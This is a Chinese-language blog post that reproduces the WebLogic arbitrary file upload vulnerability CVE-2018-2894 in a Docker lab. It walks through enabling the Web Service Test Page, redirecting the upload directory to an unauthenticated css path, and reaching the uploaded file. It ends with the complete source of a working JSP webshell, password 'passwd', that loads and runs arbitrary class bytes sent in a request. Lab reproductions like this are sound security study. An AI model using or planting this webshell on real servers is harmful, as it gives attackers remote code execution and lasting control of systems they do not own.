CVE-2018-2894

发布时间 2023-11-29 09:40:07作者: kalixcn

Weblogic 任意文件上传漏洞(CVE-2018-2894)

Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page在"生产模式"下默认不开启,所以该漏洞有一定限制。

利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。

漏洞环境

cd weblogic/CVE-2018-2894
docker-compose up -d
docker-compose config

环境启动后,访问http://your-ip:7001/console,即可看到后台登录页面。
执行docker-compose logs | grep password可查看管理员密码,管理员用户名为weblogic。
img
img
登录后台页面,点击base_domain的配置,在"高级"中开启"启用web服务测试页"选项:
img

漏洞复现

访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。
img
然后点击安全->增加,然后上传webshell:
img
上传后,查看返回的数据包,其中有时间戳(1701220944162):
img
然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]
[文件名],使用蚁剑连接webshell
img

jsp木马文件,连接密码passwd

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>